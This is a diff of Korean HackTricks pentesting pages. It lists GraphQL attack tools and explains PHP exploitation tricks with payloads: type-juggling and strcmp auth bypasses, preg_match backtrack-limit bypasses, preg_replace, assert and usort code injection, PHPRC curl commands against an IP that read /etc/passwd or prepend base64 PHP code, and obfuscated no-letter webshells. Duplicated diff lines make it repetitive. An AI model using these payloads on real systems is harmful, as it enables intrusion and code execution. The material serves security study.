* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져와 민감한 데이터를 검색하고 권한 부여를 테스트하며, 스키마를 무력화하고 주어진 유형으로의 경로를 찾을 수 있는 도구입니다.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립적으로 사용하거나 [Burp 확장 프로그램](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용할 수 있어 공격을 자동화할 수 있습니다.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구입니다.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 프로그램입니다. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트나 로컬 내부 검사 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 뮤테이션을 자동으로 생성하고 분석을 위해 구조화된 보기로 구성합니다. _**Attacker**_ 구성 요소를 사용하면 일괄 GraphQL 공격을 실행할 수 있어 구현이 잘못된 속도 제한을 우회하는 데 유용합니다.
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용할 수 있어 공격을 자동화하는 데 유용합니다.
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 주어진 유형에 도달하는 다양한 방법을 나열하는 도구입니다.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장 프로그램입니다. _**Scanner**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트나 로컬 인트로스펙션 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 뮤테이션을 자동으로 생성하고 분석을 위해 구조화된 보기로 구성합니다. _**Attacker**_ 구성 요소를 사용하면 일괄 GraphQL 공격을 실행할 수 있어 잘못 구현된 속도 제한을 우회하는 데 유용합니다.
### 클라이언트
@ -506,10 +507,10 @@ valid
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 홍보하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 **PR을 제출**하여 해킹 트릭을 공유하세요.
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
@ -38,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 느슨한 비교/타입 강제 변환 ( == )
만약 PHP에서 `==`가 사용된다면, 비교가 예상대로 작동하지 않는 경우가 발생할 수 있습니다. 이는 "=="가 값들을 동일한 유형으로 변환한 후에만 비교하기 때문입니다. 만약 비교하는 데이터의 유형도 동일한지 확인하려면 `===`를 사용해야 합니다.
만약 PHP에서 `==`가 사용된다면, 비교가 예상대로 작동하지 않는 경우가 발생할 수 있습니다. 이는 "=="가 값들을 동일한 유형으로 변환한 후에만 비교하기 때문입니다. 만약 비교 데이터의 유형도 동일한지 확인하려면 `===`를 사용해야 합니다.
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -47,11 +47,11 @@ PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://ww
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 동일합니다.
* `"0xAAAA" == "43690" -> True` 10진 또는 16진 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다 (문자열 내의 숫자는 숫자로 해석됨)
* `"0e3264578" == 0 --> True` "0e"로 시작하고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
* `"0e12334" == "0" --> True` 이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해싱된 문자열**을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` 문자열 내의 모든 문자는 정수 0과 동일합니다.
* `"0xAAAA" == "43690" -> True` 10진 또는 16진 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다 (문자열 내의 숫자는 숫자로 해석됨).
* `"0e3264578" == 0 --> True` "0e"로 시작하고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 것이나 오는 문자열은 0과 동일합니다.
* `"0e12334" == "0" --> True` 이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이미 이 형식으로 해싱된 문자열을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` 문자열 내의 어떤 문자도 정수 0과 동일합니다.
더 많은 정보: [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -67,26 +67,26 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 이렇게 하면 이 확인을 우회할 수 있습니다:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
### `strcasecmp()`에서도 동일한 오류가 발생합니다
### 엄격한 유형 변환
`===`를 사용하더라도 **유형 변환에 취약한 비교**가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 다른 유형의 객체로 변환한 후에 비교하는 경우**:
`strcasecmp()`에서도 동일한 오류가 발생합니다.
심지어 `===`를 사용하더라도 **유형 변환**에 취약한 **비교** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 다른 유형의 객체로 변환한 후에 비교하는 경우**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`**는 **사용자 입력을 유효성 검사하는 데 사용**될 수 있습니다 (사용자 입력에서 **블랙리스트**에 있는 **단어/정규식**이 **존재하는지 확인**하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).
**`preg_match()`**는 **사용자 입력을 유효성** 검사하는 데 사용될 수 있습니다 (사용자 입력에서 **블랙리스트**에 있는 **단어/정규식**이 **존재하는지 확인**하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).
#### 새 줄 우회
#### 새 줄 바이패스
그러나 정규식의 시작을 구분할 때 `preg_match()`**사용자 입력의 첫 번째 줄만 확인**하므로, 사용자 입력을 **여러 줄로 보낼 수 있다면**, 이 검사를 우회할 수 있습니다. 예시:
```php
@ -101,18 +101,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
이 체크를 우회하려면 **새 줄로 인코딩된 값**(`%0A`)을 보낼 수 있거나 **JSON 데이터**를 보낼 수 있다면 **여러 줄에 나눠서** 보내세요:
이 체크를 우회하려면 **새 줄로 구분된 값 url로 인코딩하여 전송**(`%0A`)하거나 **JSON 데이터**를 전송할 수 있다면 **여러 줄에 나눠서** 보내세요:
```php
{
"cmd": "cat /etc/passwd"
}
```
예제를 찾을 수 있습니다: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **길이 오류 우회**
(이 우회는 PHP 5.2.5에서 시도되었으며 PHP 7.3.15에서 작동하지 않았습니다)\
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 만들어 **우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 넣는 경우 다음과 같이 보낼 수 있습니다:
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 만들어 **우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트는 경우 다음과 같이 보낼 수 있습니다:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -122,13 +122,13 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
간단히 말하면 PHP의 `preg_*` 함수에서 발생하는 문제는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 한다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되는데, 이는 많은 스택 공간을 사용한다. 재귀 호출 횟수에 제한을 둘 수 있지만 PHP에서는 이 한계가 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않는다.
간단히 말하면 PHP의 `preg_*` 함수에서 발생하는 문제는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 한다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되는데, 이는 많은 스택 공간을 사용한다. 재귀 횟수에 대한 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않는다.
이 문제에 대해 더 자세히 설명된 [이 Stackoverflow 쓰레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 게시물에 링크되어 있습니다. 우리의 작업은 이제 명확해졌다:\
**정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 유발시키고 `preg_match()` 함수가 `false`를 반환하도록 만들어 응용 프로그램이 우리의 입력이 악의적이지 않다고 생각하게 하고, 페이로드 끝에 `{system(<verybadcommand>)}`과 같은 놀라운 것을 던져 SSTI --> RCE --> 플래그를 획들하는 것이다 :)**.
실제로 정규식 관점에서는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에서 `pcre.backtrack_limit` 변수의 기본값이 1,000,000(1백만)임을 명시하고 있다.\
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낳을 것이다:
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계(50만 개의 전진 및 50만 개의 후진)를 결과로 낳을 것이다:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -165,15 +165,15 @@ readfile($page);
## 더 많은 속임수
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234"와 같이 값이 있다면 **$param을 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스**하면 **해당 변수의 값을 path1에서 path2로 적용**할 수 있습니다. 그런 다음 path2는 path1의 변수를 유효한 값으로 취할 것입니다 (path2에서 해당하는 이름의 쿠키를 제공함으로써).
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방될 수 있음). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234"와 같이 값이 있는 경우 **$param를 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스하는 경우** path1의 변수 값이 path2에 적용되도록 할 수 있습니다. 그런 다음 path2는 path1의 변수를 유효한 값으로 취급합니다 (path2에 해당하는 이름의 쿠키를 제공함으로써).
* 기계 사용자의 **사용자 이름**을 가지고 있는 경우. 주소를 확인하십시오: **/\~\<USERNAME>** PHP 디렉토리가 활성화되어 있는지 확인하십시오.
* [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 비밀번호가 해시와 일치하는지 **확인**하는 데 사용됩니다.\
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT``PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**할 수 있음에 유의하십시오. 현재 **PASSWORD\_BCRYPT**는 입력의 크기에 제한이 있으며 72바이트보다 큰 것을 이 알고리즘으로 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비밀번호가 일치하는지 **확인**하는 데 사용됩니다.\
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT``PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**하다는 점을 유의하십시오. 현재 **PASSWORD\_BCRYPT**는 **72바이트의 입력에 대한 크기 제한**이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -185,9 +185,9 @@ True
#### 헤더 설정 후 오류 발생
[**이 트위터 쓰레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 확인할 수 있듯이 1000개 이상의 GET 매개변수 또는 1000개 이상의 POST 매개변수 또는 20개 이상의 파일을 보내면, PHP는 응답에 헤더를 설정하지 않을 것입니다.
[**이 트위터 쓰레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 1000개 이상의 GET 매개변수 또는 1000개 이상의 POST 매개변수 또는 20개 이상의 파일을 보내면, PHOP는 응답에 헤더를 설정하지 않을 것임을 확인할 수 있습니다.
예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있습니다.
예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있게 합니다:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -195,20 +195,28 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 헤더를 설정하기 전에 본문을 채우기
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 출력하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 콘텐츠를 출력하도록 만들어**에 **헤더를 추가하려고 할 때 서버가 오류를 발생**시킬 수 있습니다.\
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 콘텐츠를 출력하도록 만들어**에 **헤더를 추가하려고 할 때 서버가 오류를 발생**시킬 수 있습니다.\
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생**하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 시도할 때** (예: CSP 헤더가 사용자에게 전송되지 않음):
![](<../../../.gitbook/assets/image (1085).png>)
## PHP 함수에서의 SSRF
페이지를 확인하세요:
{% content-ref url="php-ssrf.md" %}
[php-ssrf.md](php-ssrf.md)
{% endcontent-ref %}
## 코드 실행
**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**
[더 많은 유용한 PHP 함수는 여기를 확인하세요](php-useful-functions-disable\_functions-open\_basedir-bypass/)
[더 많은 유용한 PHP 함수는 여기를 확인하세요](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **preg\_replace()**를 통한 RCE
### **preg\_replace()를 통한 RCE**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
@ -225,7 +233,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **Assert()를 통한 RCE**
php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**하도록 합니다 (이에 따라 실행을 변경할 수 있음). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:\
php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**하도록 합니다 (이에 따라 실행을 변경). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:\
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻으려면 다음을 수행할 수 있습니다:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -253,13 +261,13 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
### **코드의 나머지 부분을 주석 처리하는 또 다른 방법은 **//**를 사용할 수 있습니다.**
### **코드의 나머지 부분을 주석 처리하는 데에도 **//**를 사용할 수 있습니다.
닫아야 하는 괄호의 수를 발견하려면:
- `?order=id;}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ';'`). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
- `?order=id);}//`: **경고**를 받습니다. 그것이 올바른 것 같습니다.
- `?order=id));}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ')' i`). 아마도 너무 많은 닫는 괄호가 있는 것 같습니다.
* `?order=id;}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ';'`). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
* `?order=id);}//`: **경고**를 받습니다. 그것이 올바른 것 같습니다.
* `?order=id));}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ')' i`). 아마도 닫는 괄호가 너무 많은 것 같습니다.
### **.httaccess를 통한 RCE**
@ -267,22 +275,22 @@ usort();}phpinfo;#, "cmp");
다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다.
### **환경 변수를 통한 RCE**
### Env 변수를 통한 RCE
PHP에서 **환경 변수를 수정**할 수 있는 취약점을 찾았다면 (그리고 파일을 업로드할 수 있는 다른 취약점이 있지만, 더 많은 연구를 통해 이를 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
PHP에서 **env 변수를 수정**할 수 있는 취약점을 발견하면 (그리고 파일을 업로드할 수 있는 다른 취약점이 있으면, 더 많은 연구로 이를 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 환경 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있게 합니다 (이 경우에는 작동하지 않을 수도 있습니다).
- **`PHPRC`** : PHP에게 **구성 파일인** `php.ini`라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, 그럼 `PHPRC`를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 일반 **PHP 코드가 포함**되어 있으며, 이 코드는 다른 모든 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 env 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있게 합니다 (이 경우에는 작동하지 않을 수도 있습니다).
* **`PHPRC`** : PHP에게 **구성 파일의 위치를 지시**합니다. 일반적으로 `php.ini`라고 불리는 파일입니다. 자체 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP를 가리키도록 합니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 일반 **PHP 코드가 포함**되어 있으며, PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다.
1. 쉘코드가 포함된 PHP 파일을 업로드합니다.
2. PHP 전처리기가 단계 1 업로드한 파일을 실행하도록 지시하는 **`auto_prepend_file`** 지시문이 포함된 두 번째 파일을 업로드합니다.
3. `PHPRC` 변수를 단계 2에서 업로드한 파일로 설정합니다.
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인할 수 있습니다.
- **PHPRC** - 다른 옵션
- 파일을 업로드할 수 없는 경우 FreeBSD에서 "file" `/dev/fd/0`를 사용할 수 있습니다. 이 파일은 요청의 **본문**인 **`stdin`**을 포함합니다:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 선행시켜 RCE를 얻을 수 있습니다:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 확인할 수 있습니다.
2. PHP 전처리기에 업로드한 파일을 실행하도록 지시하는 **`auto_prepend_file`** 지시문이 포함된 두 번째 파일을 업로드합니다.
3. `PHPRC` 변수를 2단계에서 업로드한 파일로 설정합니다.
* 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인할 수 있습니다.
* **PHPRC** - 다른 옵션
* 파일을 업로드할 수 없는 경우 FreeBSD에서 "file" `/dev/fd/0`를 사용할 수 있습니다. 이 파일은 `stdin`인 **요청의 본문**을 포함합니다:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 먼저 추가하여 RCE를 얻을 수 있습니다:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 확인할 수 있습니다.
## PHP 정적 분석
@ -302,7 +310,7 @@ $_COOKIE | if #This mea
PHP 래퍼 및 프로토콜을 사용하면 시스템에서 **쓰기 및 읽기 보호를 우회**하고 침해할 수 있습니다. [**자세한 정보는 이 페이지를 확인하십시오**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug 인증 RCE
## Xdebug 인증되지 않은 RCE
`phpconfig()` 출력에서 **Xdebug**가 **활성화**되어 있는 것을 확인하면 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)을 통해 RCE를 시도해야 합니다.
@ -320,7 +328,7 @@ echo "$x ${Da}"; //Da Drums
```
## 새로운 $\_GET\["a"]\($\_GET\["b"])를 남용한 RCE
페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:
페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세 알아보세요:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
@ -336,23 +344,23 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
```
### **XOR**
XOR는 두 개의 비트가 서로 다를 때 1을 반환하는 논리 연산자입니다.
XOR은 두 개의 입력 중 하나만이 참일 때 결과가 참이 되는 논리 연산자입니다.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR 쉘 코드
### XOR 쉘 코드 간단한 방법
[**이 writeup**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 쉽게 쉘 코드를 생성할 수 있다고 합니다:
[**이 writeup**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 간단한 쉘 코드를 생성할 수 있다고 합니다:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면 다음과 같은 요청을 보내어 임의의 PHP를 실행할 수 있는 페이로드를 악용할 수 있습니다:
그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면 다음과 같은 요청을 보내어 임의의 PHP를 실행할 수 있습니다:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -381,7 +389,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
